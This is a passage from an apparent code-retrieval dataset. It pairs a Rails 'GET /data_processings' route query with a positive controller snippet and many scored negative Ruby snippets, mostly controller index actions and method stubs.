"docid": "de95bfc86f92ed4f10dba9fb4e119089",
"score": "0.6142558",
"text": "def method_missing(name, *args, &block)\n return define_permission(name, *args, &block) if self.respond_to?(name)\n super\n end",
"title": ""
},
{
"docid": "24f63369e4a36ccdca81610b9d5db49f",
"score": "0.6125198",
"text": "def private_method\n end",
"title": ""
},
{
"docid": "24f63369e4a36ccdca81610b9d5db49f",
"score": "0.6125198",
"text": "def private_method\n end",
"title": ""
},
{
"docid": "24f63369e4a36ccdca81610b9d5db49f",
"score": "0.6125198",
"text": "def private_method\n end",
"title": ""
},
{
"docid": "944e9b23d124c415d16e9e46c9787973",
"score": "0.61238945",
"text": "def secret_method\n puts 'A secret message from within the parent class.'\n end",
"title": ""
},
{
"docid": "09ff6112321a5dbf09d1ab62ae266582",
"score": "0.6115976",
"text": "def method_missing ( method, *args )\n return super\n end",
"title": ""
},
{
"docid": "b79fa0f67f358a0f3614cd104e4333d4",
"score": "0.61024386",
"text": "def public_access_level=(_arg0); end",
"title": ""
},
{
"docid": "7701df30c201961ce38c6a9df66e5c23",
"score": "0.61010265",
"text": "def accessor; end",
"title": ""
},
{
"docid": "7701df30c201961ce38c6a9df66e5c23",
"score": "0.61010265",
"text": "def accessor; end",
"title": ""
},
{
"docid": "bf55bc7eaf18d56cb23fc1d7b4ba7bed",
"score": "0.60966885",
"text": "def public; end",
"title": ""
},
{
"docid": "8f425d434ca2035e02d37c8631c046dc",
"score": "0.6086854",
"text": "def read\n raise Ichabod::MethodNotImplementedError.new('Subclasses should implement')\n end",
"title": ""
},
{
"docid": "2b16fb64e7a123e3ef5466602b807687",
"score": "0.60865134",
"text": "def dispatch\n raise NotImplementedError, \"subclass responsibility\"\n end",
"title": ""
},
{
"docid": "b437370428a842dd281d7919e9af7195",
"score": "0.6084599",
"text": "def method2 # will be 'protected'\n puts \"Method2 is protected.\"\n end",
"title": ""
},
{
"docid": "64a1f38512c1b464de4251b4afd6c80d",
"score": "0.6084116",
"text": "def protected_greet\n puts \"Hello from a protected method\"\n end",
"title": ""
},
{
"docid": "3e5ce5c255a9e7f1cb3e12d6ab7e283c",
"score": "0.6058884",
"text": "def priv\n\t\tputs \"priv is a private method.\\n\"\n\tend",
"title": ""
},
{
"docid": "7a2377ab61d5412bb99259a9bafc180f",
"score": "0.6054299",
"text": "def enter_protected_mode\n Kernel.raise NotImplementedError\n end",
"title": ""
},
{
"docid": "73e508b62772b93fccb848de453d734f",
"score": "0.6045834",
"text": "def custom_permissions; end",
"title": ""
},
{
"docid": "2e059628b27ccc69f6f1a7fd5dd1efb2",
"score": "0.6044945",
"text": "def a_protected_method\n \"Yes, I'm protected!\"\n end",
"title": ""
},
{
"docid": "644c4d9022be3d29e463cbd903ed0634",
"score": "0.603622",
"text": "def protected_m\n 3\n end",
"title": ""
},
{
"docid": "1e5e53c4b9e93d9482caa25c8f435412",
"score": "0.60294384",
"text": "def methods; end",
"title": ""
},
{
"docid": "343bf73716170e1b7e9f43b33d01b963",
"score": "0.60259426",
"text": "def private_method\n \"Private\"\n end",
"title": ""
},
{
"docid": "41dde721b40209f82e6aff77babe3747",
"score": "0.6019937",
"text": "def attic\n raise NotImplementedError.new\n end",
"title": ""
},
{
"docid": "98e3f4bad65558802615024ff12041b1",
"score": "0.6013871",
"text": "def abstract_attr_reader(method_name)\n abstract method_name\n end",
"title": ""
},
{
"docid": "eecc79f68f5be1c0f004efe0b826adb0",
"score": "0.60132885",
"text": "def baseclass #:nodoc:\n end",
"title": ""
},
{
"docid": "eecc79f68f5be1c0f004efe0b826adb0",
"score": "0.60132885",
"text": "def baseclass #:nodoc:\n end",
"title": ""
},
{
"docid": "dea958c893a721229e274d83459d879d",
"score": "0.60030115",
"text": "def child()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "dea958c893a721229e274d83459d879d",
"score": "0.60030115",
"text": "def child()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "dea958c893a721229e274d83459d879d",
"score": "0.60030115",
"text": "def child()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "21805565a86fdfb8aea3ef49e0a48c2f",
"score": "0.60018235",
"text": "def accessible_attributes\n\t\traise \"Define accessible_attributes method.\"\n\tend",
"title": ""
}
] |
d592511cae6437bc1f52541c522041aa
|
GET /data_processings GET /data_processings.json
|
[
{
"docid": "8ab80518a82ac58076e4193e1a670898",
"score": "0.6211461",
"text": "def index\n if current_user\n @data_processings = current_user.data_processings.all\n else\n redirect_to signin_path, notice: 'Please sign in first.'\n end\n end",
"title": ""
}
] |
[
{
"docid": "2bc5a4e7cc5fbda52c4405af8865df92",
"score": "0.6586309",
"text": "def index\n @processings = Processing.all\n end",
"title": ""
},
{
"docid": "2bc5a4e7cc5fbda52c4405af8865df92",
"score": "0.6586309",
"text": "def index\n @processings = Processing.all\n end",
"title": ""
},
{
"docid": "631c8b79ea20420eaf5965a33d3cebd8",
"score": "0.6475801",
"text": "def index\n @application_processes = ApplicationProcess.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @application_processes }\n end\n end",
"title": ""
},
{
"docid": "420d2cc373b865de5592ba7eb4f03bf0",
"score": "0.63667196",
"text": "def index\n @input_processings = InputProcessing.all\n end",
"title": ""
},
{
"docid": "afe944eca9474bbd9d0e47cab0f7e0fe",
"score": "0.6294149",
"text": "def index\n @entry_processes = EntryProcess.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @entry_processes }\n \n end\n end",
"title": ""
},
{
"docid": "c0dd78cc856c9e77625b170a4c36e2e3",
"score": "0.6271139",
"text": "def index\n @nvs_mig_processes = NvsMigProcess.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nvs_mig_processes }\n end\n end",
"title": ""
},
{
"docid": "3e8cc688f495ee6652b7067050975b1b",
"score": "0.6270578",
"text": "def processes\n GoodData::Process.all\n end",
"title": ""
},
{
"docid": "45e509f8d5fb2dbfd9db52ded70798fc",
"score": "0.6184413",
"text": "def index\n @process_flows = ProcessFlow.all\n\n respond_to do |format|\n format.html\n # format.json { render json: }\n end\n\n\n end",
"title": ""
},
{
"docid": "2effc9e481837f75de49daefc8b4f5ad",
"score": "0.61824566",
"text": "def index\n @job_postings = JobPosting.all\n render json: @job_postings\n end",
"title": ""
},
{
"docid": "e8af2c0268cd457c45c50b1ed70c18dc",
"score": "0.6105874",
"text": "def processings(opts = {})\n find_collection(\"processings\", opts)\n end",
"title": ""
},
{
"docid": "4f1efb678c7ce06d33e3a06563938832",
"score": "0.6099188",
"text": "def index\n @project_processes = ProjectProcess.all\n json_response(@project_processes)\n end",
"title": ""
},
{
"docid": "c146b889767a593f4d12b937b271c6d9",
"score": "0.6057318",
"text": "def process\n @data.each do |item|\n item[:goods] = item[:goods__laser_acoustic_detection_equipment__intrusion_software__network_infrastructure_and_services__off_the_air_interception__monitoring_centres__lawful_interception_mediation__deep_packet_inspection__forensics__biometrics__fibre_taps__probes__location_tracking__internet_filters]\n item[:goods] = item[:goods].split(\", \") if item[:goods]\n item[:source_links] = extract_links(item[:sources])\n item[:company_name] = fix_name(item[:supplier_company])\n item[:title] = gen_title(item)\n item[:bibtex_type] = \"Sale\"\n item[:unique_id] = gen_id(item)\n @out_data.push(item)\n end\n\n JSON.pretty_generate(@out_data)\n end",
"title": ""
},
{
"docid": "eb39e51085cbacb644152d0ad37f94d2",
"score": "0.6052504",
"text": "def get_it_processes\n\t\tprocs = ItProcess.all.order(id: :asc)\n\t\t# ES: Renderiza la respuesta\n\t\t# EN: Renders the answer\n\t\trespond_to do |format|\n\t\t format.json {render json: procs}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "99d89bc9d7ec817d9064511885aa97a9",
"score": "0.6028934",
"text": "def run\n process_pages\n to_json\n end",
"title": ""
},
{
"docid": "97fc99bcf8d98271c45ae991c361cad6",
"score": "0.59797883",
"text": "def show\n @processings = Processing.all\n end",
"title": ""
},
{
"docid": "e70649c15d97f7df223d71cd23d54d9a",
"score": "0.5947548",
"text": "def index\n @listings = Listing.all\n render json: @listings\n end",
"title": ""
},
{
"docid": "73fe2bfa2d343040ce0e3b357d544ff2",
"score": "0.59429175",
"text": "def index\n @progresses = @task.progresses\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @progresses }\n end\n end",
"title": ""
},
{
"docid": "f3b56f1ee2a73be860af0cf2d7107f67",
"score": "0.59339494",
"text": "def index\n @readings = Reading.all\n\n render json: @readings\n end",
"title": ""
},
{
"docid": "138bbfddcd919ebf7c4d7bd4db9d47a1",
"score": "0.5928136",
"text": "def index\n @job_postings = JobPosting.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @job_postings }\n end\n end",
"title": ""
},
{
"docid": "5b4394016befbe03dc57842d3b69c6a4",
"score": "0.5919891",
"text": "def data\n respond_to do |format|\n format.json { load_items_data }\n end\n end",
"title": ""
},
{
"docid": "d3a8ede31f81ead9250814d5400b0d99",
"score": "0.59039205",
"text": "def index\n @production_dpts = ProductionDpt.all\n\n render json: @production_dpts\n end",
"title": ""
},
{
"docid": "e415edfef0c565eb70b7cf2617d303bf",
"score": "0.58840966",
"text": "def processed\n db = Database.find(params[:database_id])\n path = \"#{db.path}/processed\"\n @dirs = Dir.entries(path)\n @dirs.delete_if{|f| f.include?'.'}\n @results = []\n @dirs.each do |d| \n files = Dir.entries(\"#{path}/#{d}\").select { |name| name.include?'.good' }\n files.each do |entry|\n @results << {name:entry,time:Time.at(d.to_i)}\n end\n end\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end",
"title": ""
},
{
"docid": "0883d7ec4d66235cb10ca25b70b24081",
"score": "0.5866142",
"text": "def index\n @birst_process_group_collections = BirstProcessGroupCollection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @birst_process_group_collections }\n end\n end",
"title": ""
},
{
"docid": "285cab7b34adc3e923d44e77875ba747",
"score": "0.5843064",
"text": "def index\n \n\n @uploadgames = Uploadgame.waitingforprocess.page(params[:page]).per(10)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @uploadgames }\n end\n end",
"title": ""
},
{
"docid": "6f2d95113c546fee38834e037074fe5d",
"score": "0.5828387",
"text": "def serialize\n {\n # Process Information\n id: process.id,\n socrata_published_at: Date.current,\n title_ca: process.title[\"ca\"],\n url: url,\n slug: process.slug,\n short_description_ca: short_description_ca,\n process_type: process_type,\n scope_id: process.scope&.id,\n scope_name_ca: process.scope&.name.try(:[], \"ca\"),\n department_id: process.area&.id,\n department_name_ca: process.area&.name.try(:[], \"ca\"),\n participatory_space: process.participatory_process_group&.title.try(:[], \"ca\")&.downcase,\n normative_type_id: process.decidim_type&.id,\n normative_type_name_ca: process.decidim_type&.name.try(:[], \"ca\"),\n duration_days: duration_days,\n start_date: process.start_date,\n end_date: process.end_date,\n cost: process.cost,\n has_record: process.has_summary_record?,\n facilitators: process.facilitators,\n promoting_unit: process.promoting_unit,\n total_num_participants: meetings_num_participants + proposals_num_authors,\n total_num_entities: meetings_num_entities + proposals_num_entities,\n # Related Resources: Proposals\n proposals_num_authors: proposals_num_authors,\n proposals_num_author_entities: proposals_num_entities,\n total_num_proposals: proposals.count,\n total_accepted_proposals: proposals.accepted.count,\n total_rejected_proposals: proposals.rejected.count,\n total_evaluating_proposals: proposals.evaluating.count,\n proposals_num_proposals: proposals_no_meeting.count,\n # Related Resources: Meetings\n meetings_num_participants: meetings_num_participants,\n meetings_num_entities: meetings_num_entities,\n total_num_meetings: meetings.count,\n meetings_num_proposals: proposals.where(created_in_meeting: true).count,\n # Related Resources: Debates\n debates_num_debates: debates.count,\n # Related Resources: Assemblies\n has_related_assembly: related_assembly.present?,\n related_assembly_name_ca: related_assembly&.title.try(:[], \"ca\")\n }\n end",
"title": ""
},
{
"docid": "29bad2d647730cbada53d836c52d40e4",
"score": "0.58198035",
"text": "def index\n @service_numbers = ServiceNumber.all\n\n render json: @service_numbers\n end",
"title": ""
},
{
"docid": "30e4a0ff4b192c2f07819035a752f5d9",
"score": "0.5813993",
"text": "def index\n @jsoncallworddata = Jsoncallworddatum.all\n end",
"title": ""
},
{
"docid": "814c0d72a26ca56de130b53a41c4f6b6",
"score": "0.58068293",
"text": "def index\n @task_run_sets = TaskRunSet.all\n\n @data= { \n \"sEcho\" => 0,\n \"iTotalRecords\" => @task_run_sets.count,\n \"iTotalDisplayRecords\" => @task_run_sets.count,\n \"aaData\" => @task_run_sets.map do |task_run_set|\n\n # Calculate a name for the task run set \n if task_run_set.task_runs.count > 0\n task_run_name = \"#{task_run_set.task_runs.map{|t| t.task_name}.uniq.join(\" \")}\"\n else\n task_run_name = \"* pending *\"\n end\n\n [\n \"<a href=\\\"/task_run_sets/#{task_run_set._id}\\\">#{task_run_name}</a>\",\n \"#{task_run_set.task_runs.count}\",\n \"#{task_run_set.num_tasks}\",\n \"#{task_run_set.updated_at}\"]\n end\n }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data }\n end\n end",
"title": ""
},
{
"docid": "aa23252bc2d4c68f599b4bb70e8a8fdf",
"score": "0.5797465",
"text": "def index\n @data_processing_types = DataProcessingType.all\n \n end",
"title": ""
},
{
"docid": "6721feca2e30bc4e6e1859e741e79e2e",
"score": "0.5792879",
"text": "def index\n respond_to do |format|\n format.json {render json: PapersDatatable.new(view_context)}\n end \n end",
"title": ""
},
{
"docid": "b4bb0eebfba8e1ca4317bd46298a899e",
"score": "0.5790262",
"text": "def index\n @image_processing_requests = ImageProcessingRequest.all\n end",
"title": ""
},
{
"docid": "aeb56e066dd26868e841602189a4274c",
"score": "0.5772668",
"text": "def index\n @more_power_ups_requests = MorePowerUpsRequest.pending\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @more_power_ups_requests }\n end\n end",
"title": ""
},
{
"docid": "d7c4cb3736e17bc289af61d39b31c258",
"score": "0.57701546",
"text": "def list\n url = \"#{CloudConvert::PROTOCOL}://#{CloudConvert::API_DOMAIN}/processes\"\n response = CloudConvert::Client.send(:get, url, {query: {apikey: self.api_key}})\n return convert_response response\n end",
"title": ""
},
{
"docid": "3f55cee523c07c737b5280a9d7417e2b",
"score": "0.5767175",
"text": "def index\n @json_data = JsonDatum.all\n end",
"title": ""
},
{
"docid": "d977d0bd593dba0a386ead3c997a518d",
"score": "0.5762415",
"text": "def index\n @monitorings = Monitoring.all\n render json: @monitorings\n end",
"title": ""
},
{
"docid": "9af20c27ae08d34b3d74addc2e0ae9f6",
"score": "0.5762253",
"text": "def index\n @activities = Activities.includes(:process_level, :project_process).all\n json_response(@activities)\n end",
"title": ""
},
{
"docid": "13b288152926701cb3a5bd217cb3b801",
"score": "0.57620096",
"text": "def index\n @processoassuntoitems = Processoassuntoitem.all\n\n render json: @processoassuntoitems\n end",
"title": ""
},
{
"docid": "ecd69e9fb053a69ae2a844b3c00ca3ac",
"score": "0.5760215",
"text": "def index\n respond_to do |format|\n format.json do\n @import_dataset = import_dataset\n @dataset_records = filtered_records.order(id: :asc).page(params[:page]).per(params[:per] || 100) #.preload_fields\n @filters = params[:filter]\n end\n format.zip { render_zip }\n end\n end",
"title": ""
},
{
"docid": "3e135101fddd9733c43bb2ac5d0c8911",
"score": "0.57595205",
"text": "def index\n @group_running_nos = GroupRunningNo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @group_running_nos }\n end\n end",
"title": ""
},
{
"docid": "755f20671bf5294c0de55fe986c40651",
"score": "0.5751817",
"text": "def index\n render json: Listing.all.to_json\n end",
"title": ""
},
{
"docid": "5617da6b2ecee8e4041b68a90ced11d4",
"score": "0.5745192",
"text": "def index\n @miscellaneous_pricings = MiscellaneousPricing.all\n\n render json: @miscellaneous_pricings\n end",
"title": ""
},
{
"docid": "f59d2f98d2e84448e2aa89b3cd791045",
"score": "0.5743884",
"text": "def index\n @readings = Reading.where(device_id: params[:device_id])\n json_response(@readings)\n end",
"title": ""
},
{
"docid": "a013f7ef6a093cd4b358659bdd45c572",
"score": "0.57371396",
"text": "def index\n if params[:item_id].present?\n @process_types = ProcessType.item_process_type(params[:item_id])\n else\n @process_types = ProcessType.joins(:attachment).all\n end\n respond_to do |format|\n format.html # index.html.erb\n @proces_types = []\n format.json do\n @process_types = @process_types.collect do |process_type|\n proces_type = {}\n process_type.attributes.each do |key, value|\n proces_type[key] = value\n end\n attachment = process_type.attachment.attachment_fields\n process_type.attachment.attachment_fields.each do |key, value|\n proces_type[key] = value\n end\n proces_type[:attachment_name] = CommonActions.linkable(process_type_path(process_type), attachment[:attachment_name])\n if can? :edit, ProcessType\n proces_type[:links] = CommonActions.object_crud_paths(nil, edit_process_type_path(process_type), nil)\n else\n proces_type[:links] = ''\n end\n @proces_types.push(proces_type)\n end\n render json: { aaData: @proces_types }\n end\n end\n end",
"title": ""
},
{
"docid": "ac696530d150e5c7000f82a9cd91b0a1",
"score": "0.5730225",
"text": "def index\n @datapoints = Datapoint.all\n\n render json: @datapoints\n end",
"title": ""
},
{
"docid": "80e0f4f3b23b0c72caa6f507ff30c886",
"score": "0.5726244",
"text": "def index\n @incoming = Incoming.find(params[:incoming_id])\n @execution = @incoming.executions.find(params[:execution_id])\n @outgoings = @execution.outgoings\n @user = User.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @outgoings }\n end\n end",
"title": ""
},
{
"docid": "61974f73a5e7ab03ccb54f20a9134d85",
"score": "0.5724368",
"text": "def index\n @pipelines = Pipeline.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pipelines }\n end\n end",
"title": ""
},
{
"docid": "a6e8d1260a245eddc37c8c4fa201f489",
"score": "0.5720615",
"text": "def index\n @readings = Reading.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @readings }\n end\n end",
"title": ""
},
{
"docid": "55595a7fc1d3be6ab43ecd57a015dd12",
"score": "0.57090086",
"text": "def index\n @jsoncalldata = Jsoncalldatum.all\n end",
"title": ""
},
{
"docid": "addc5908d8f0c5b75fb3862e08a49c0c",
"score": "0.5704376",
"text": "def index\n @task_progress = TaskProgress.all\n respond_to do |format|\n format.json { render json: @task_progress }\n end\n end",
"title": ""
},
{
"docid": "3bb37a53fcda8e88a7e2a9b4542a3a7d",
"score": "0.57022",
"text": "def index\n @deployments = getmydata(\"Deployment\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @deployments }\n end\n end",
"title": ""
},
{
"docid": "92981bc615947632e2002ccbda0d7299",
"score": "0.5700975",
"text": "def index\n data.model = model\n data.server_side = true\n\n flash[:notice] = \"P181 File is currently being imported\" if Delayed::Job.where(queue: Smds::P181FileImport::QUEUE_NAME).where(failed_at: nil).any?\n\n respond_to do |format|\n format.html\n format.json { render json: data.as_json(params) }\n end\n end",
"title": ""
},
{
"docid": "48030d8179fd2f8e9961cab5d32dbc05",
"score": "0.5697933",
"text": "def index\n #@resume_job_data = ResumeJobDatum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @resume_job_data }\n end\n end",
"title": ""
},
{
"docid": "abb3323c2aa194818a293777c7c45963",
"score": "0.5690936",
"text": "def index\n @processing_statuses = ProcessingStatus.all\n end",
"title": ""
},
{
"docid": "577fd68334fd07e726e3d1d3dafe00fe",
"score": "0.5687497",
"text": "def index\n @data_source_collections = DataSourceCollection.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data_source_collections }\n end\n end",
"title": ""
},
{
"docid": "c2b3dc47880fd337f1d4303284946422",
"score": "0.56775314",
"text": "def index\n @billings = Billing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @billings }\n end\n end",
"title": ""
},
{
"docid": "530283aac9380511db3184e98f484848",
"score": "0.56761235",
"text": "def index\n @testings = Testing.all\n render json: {success: true, testings: @testings}\n end",
"title": ""
},
{
"docid": "25c28899b4e08cd7695c13eccd4af6c7",
"score": "0.56755507",
"text": "def index\n @collect_processes = CollectProcess.all\n end",
"title": ""
},
{
"docid": "58dc8368dda96dddb8e3db5dc4de9ce3",
"score": "0.56746536",
"text": "def index\n TaskDetail.get_task_details\n @shopping = TaskDetail.get_shopping_responses\n @donation = TaskDetail.get_donation_responses\n @moving = TaskDetail.get_moving_responses\n @cleaning = TaskDetail.get_house_cleaning_responses\n @other = TaskDetail.get_other\n @due_date = TaskDetail.get_due_date\n @all_data = {shopping: @shopping, donation: @donation, moving: @moving, cleaning: @cleaning, other: @other, due_date: @due_date}\n render json: @all_data \n\n end",
"title": ""
},
{
"docid": "bc474d0a55501b52707c5d81820f7287",
"score": "0.5674213",
"text": "def progress_load\n if request.xhr?\n workers = {}\n workers['rows'] = Worker.find(:all).collect{ |w|\n {'name' => w.name, 'id' => w.id}\n }\n render :json => workers.to_json\n end\n end",
"title": ""
},
{
"docid": "68198a41ae71cba4d91e300982eceeda",
"score": "0.5672432",
"text": "def index\n @data = Datum.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data }\n end\n end",
"title": ""
},
{
"docid": "8d3483166bc5f20be107e056dac1ef99",
"score": "0.5654426",
"text": "def index\n @birst_process_groups = BirstProcessGroup.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @birst_process_groups }\n end\n end",
"title": ""
},
{
"docid": "e0fc96feaed9e96bbb98d1ef8ca81738",
"score": "0.5650586",
"text": "def index\n @divings = Diving.all\n\n render json: @divings\n end",
"title": ""
},
{
"docid": "d7650a57a2f91ae078ae99de01175374",
"score": "0.56457895",
"text": "def retrieve_data\n # #YELLOW\n unless options[:server].start_with?('https://', 'http://')\n options[:server] = 'http://' + options[:server]\n end\n\n url = \"#{options[:server]}/render?format=json&target=#{formatted_target}&from=#{options[:from]}\"\n\n url_opts = {}\n\n if options[:no_ssl_verify]\n url_opts[:ssl_verify_mode] = OpenSSL::SSL::VERIFY_NONE\n end\n\n if options[:username] && (options[:password] || options[:passfile])\n if options[:passfile]\n pass = File.open(options[:passfile]).readline\n elsif options[:password]\n pass = options[:password]\n end\n\n url_opts[:http_basic_authentication] = [options[:username], pass.chomp]\n end # we don't have both username and password trying without\n handle = open(url, url_opts)\n\n @raw_data = handle.gets\n if @raw_data == '[]'\n fail 'Empty data received from Graphite - metric probably doesn\\'t exists'\n else\n @json_data = JSON.parse(@raw_data)\n output = {}\n @json_data.each do |raw|\n raw['datapoints'].delete_if { |v| v.first.nil? }\n next if raw['datapoints'].empty?\n target = raw['target']\n data = raw['datapoints'].map(&:first)\n start = raw['datapoints'].first.last\n dend = raw['datapoints'].last.last\n step = ((dend - start) / raw['datapoints'].size.to_f).ceil\n output[target] = { 'target' => target, 'data' => data, 'start' => start, 'end' => dend, 'step' => step }\n end\n output\n end\n end",
"title": ""
},
{
"docid": "c3461e9a76165c37860fb21d24d7260d",
"score": "0.56443906",
"text": "def index\n @trainings = Training.all\n\n render json: @trainings\n end",
"title": ""
},
{
"docid": "53c46588408642bb20b8c1bda53d5257",
"score": "0.5641446",
"text": "def index\n @judicial_processes = JudicialProcess.all\n end",
"title": ""
},
{
"docid": "be64c01801e99f1f320aaf78985e0336",
"score": "0.56319225",
"text": "def index\n\n @steps = @processdef.steps.order(:step_order)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @steps }\n end\n end",
"title": ""
},
{
"docid": "b63e51e743ebb300c5b6c9821e8f4c26",
"score": "0.5630835",
"text": "def index\n @delivery_slip_processings = DeliverySlipProcessing.all\n end",
"title": ""
},
{
"docid": "ad091c545100352a2804599bf4a90fad",
"score": "0.56294286",
"text": "def json()\n process if @data.nil?\n @data.to_json\n end",
"title": ""
},
{
"docid": "0b02cd49ecfa42162d10e00988515a3f",
"score": "0.56276685",
"text": "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"title": ""
},
{
"docid": "0b02cd49ecfa42162d10e00988515a3f",
"score": "0.56276685",
"text": "def index\n @listings = Listing.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @listings }\n end\n end",
"title": ""
},
{
"docid": "518c2b152c77cd4225c72164f697dd7c",
"score": "0.5627342",
"text": "def index\n @process_levels = ProcessLevel.includes(:project_process, :process_level_status).all\n json_response(@process_levels)\n end",
"title": ""
},
{
"docid": "0ce12d818da47243a337ed03f369264f",
"score": "0.56249183",
"text": "def deliberations_data\n\t\tdeliberation = Deliberation.find(params[:deliberation_id])\n\t\tdata = deliberation.nodes_and_links\n\t\t# data = get_deliberation_data(params)\n\t\trender json: data\n\tend",
"title": ""
},
{
"docid": "b93119845e817e474d542c24d83d54e7",
"score": "0.5623929",
"text": "def index\n @roletasks = getmydata(\"Roletask\") \n\tpagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @roletasks }\n end\n end",
"title": ""
},
{
"docid": "87a3e88952b3f686e2cdfca6170cfa56",
"score": "0.56209683",
"text": "def index\n @processoassuntoitemmovimentos = Processoassuntoitemmovimento.all\n\n render json: @processoassuntoitemmovimentos\n end",
"title": ""
},
{
"docid": "ac8355d07e1353ac36659b08db8f2002",
"score": "0.5618554",
"text": "def index\n @bookings = Booking.all\n\n render json: @bookings\n end",
"title": ""
},
{
"docid": "b0582deaa261bdc7f4f314df2013eb73",
"score": "0.56109864",
"text": "def index\n @pending_requests = PendingRequest.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pending_requests }\n end\n end",
"title": ""
},
{
"docid": "5ed71d195d676d0ca715d00e150a254a",
"score": "0.5609062",
"text": "def index\n @workings = Working.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @workings }\n end\n end",
"title": ""
},
{
"docid": "6384a189d5a517202af6efd5ba61b723",
"score": "0.55968374",
"text": "def piping_components\n \t@piping_class = PipingClass.find(params[:piping_class_id])\n @piping_components = @piping_class.piping_components.find(:all, :order => \"piping_component\").uniq\n\n @piping_components = @piping_components.map { |l| l.sext_data}\n @json = { :count => @piping_components.size, :records => @piping_components}\n render :json => @json.to_json\n\n end",
"title": ""
},
{
"docid": "8ff973c8e553a2484b81c58ace619e55",
"score": "0.5595621",
"text": "def index\n @parkings = Parking.all\n json_response(@parkings)\n end",
"title": ""
},
{
"docid": "4d8c84371ba5cb1912c404ced7b1cd8b",
"score": "0.5582683",
"text": "def get_data\n @posts = Post.all.order(:post_date)\n @first_year = (params['start_year'] || 1900).to_i\n @last_year = (params['end_year'] || 2000).to_i\n @precision = (params['precision'] || 10).to_i\n\n render 'data.json.jbuilder'\n end",
"title": ""
},
{
"docid": "d62d9bf0604c6160632e51b88f8bb481",
"score": "0.5581287",
"text": "def index\n @physical_instances = PhysicalInstance.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @physical_instances }\n end\n end",
"title": ""
},
{
"docid": "24bc0991b15041ee44328c860d4ce9de",
"score": "0.55795485",
"text": "def index\n @file_processes = FileProcess.all\n end",
"title": ""
},
{
"docid": "4a3776100ab43dc0559e989e32b9da35",
"score": "0.5561616",
"text": "def index\n @firewalls = getmydata(\"Firewall\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @firewalls }\n end\n end",
"title": ""
},
{
"docid": "fb3371595e9a2b7a5b78e5d601b2129f",
"score": "0.5561264",
"text": "def index\n @series_description_scan_procedures = SeriesDescriptionScanProcedure.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @series_description_scan_procedures }\n end\n end",
"title": ""
},
{
"docid": "532c7af137953527ea0b643bb96696e9",
"score": "0.55569756",
"text": "def index\n\n @bookings = Booking.where(user_id: current_user.id)\n respond_to do |format|\n format.html \n format.json { render json: @bookings.map{|booking| booking.transform}}\n end\n end",
"title": ""
},
{
"docid": "06aab2a47503b9a1409e75970560c587",
"score": "0.5550282",
"text": "def index\n @cleanings = Cleaning.paginate page: params[:page], order: \"created_at DESC\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cleanings }\n end\n end",
"title": ""
},
{
"docid": "90499a93cf846e54d86968c1cbe7057c",
"score": "0.55443144",
"text": "def data\n authorize @report\n @result = QueryRunner.execute(@report.query)\n render json: @result.values\n end",
"title": ""
},
{
"docid": "cc4694a032b32f4125140543e76a1b2c",
"score": "0.55428475",
"text": "def process_data; end",
"title": ""
},
{
"docid": "66ce27eecbe20d63feb6dc0c5b7d4ffa",
"score": "0.5541375",
"text": "def data\n # GET /locations/data returns an array of DataResponse in JSON \n # Each element of the array represents each IP Address tracked \n # and the associated data.\n ary = Array.new\n # In the case where a city header is passed in, only return data of the queried city\n if !request.headers[\"city\"].nil?\n $arr.each { |ip_address|\n loc = Rails.cache.read(ip_address)\n if loc.city.eql?request.headers[\"city\"]\n ary.push(DataResponse.create(:ip_address => ip_address, :city => loc.city, :country => loc.country))\n end\n }\n # In the case where a country header is passed in, only return data of the queried city\n elsif !request.headers[\"country\"].nil?\n $arr.each { |ip_address|\n loc = Rails.cache.read(ip_address)\n if loc.country.eql?request.headers[\"country\"]\n ary.push(DataResponse.create(:ip_address => ip_address, :city => loc.city, :country => loc.country))\n end\n }\n # When no header is passed in, return all queried city data\n else\n # For each ip_address that has been searched with POST /locations/submit\n # retrieve the corresponding location data from cache and append the relevant\n # (city and country) data to the array to be returned.\n $arr.each { |ip_address|\n loc = Rails.cache.read(ip_address)\n ary.push(DataResponse.create(:ip_address => ip_address, :city => loc.city, :country => loc.country))\n } \n end\n render json: ary\n end",
"title": ""
},
{
"docid": "7518c1d170f958e0dcca08d3ed92152d",
"score": "0.5540795",
"text": "def index\n # @buildings = Building.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: Oj.dump(@buildings, mode: :compat) }\n end\n end",
"title": ""
},
{
"docid": "6cb0bc9c91f4f0be6202802de313a3a8",
